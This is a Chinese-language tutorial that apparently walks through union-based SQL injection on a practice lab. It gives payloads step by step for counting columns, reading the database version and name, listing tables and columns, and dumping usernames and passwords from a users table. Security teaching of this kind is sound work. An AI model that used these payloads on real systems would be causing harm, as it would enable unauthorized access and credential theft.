演示步骤
输入?id=1' order by 3--+
加单引号是为了之前的数据形成闭合,相同功能的符号还有很多比如[ ' " % ) ]
后缀加上--+和#是注释的意思 注释完 后边的数据就失去作用了
在闭合后边______ 注释前边输入自己的数据
.1.输入?id=1' order by 3--+ 进行字段拆解,检验被查询表存在的字段数量
2.输入?id=-1' union select 1,2,3--+查看一下显示位回显,发现2,3位可以输入内容
3.查询一下
数据库版本version()5.7.26
数据库名称database()security
输入?id=-1' union select 1,version(),database()--+
4.查询数据库的所有表名:emails,referers,uagents,users
?id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'--+
5.查询表名下的列名:
id,email_id
id,referer,ip_address
id,uagent,ip_address,username
USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
6.查询列名下的数据
通过常识我们推测密码在 username 和 password 当中
?id=-1' union select 1,group_concat(username),group_concat(password) from users--+
拿到数据即可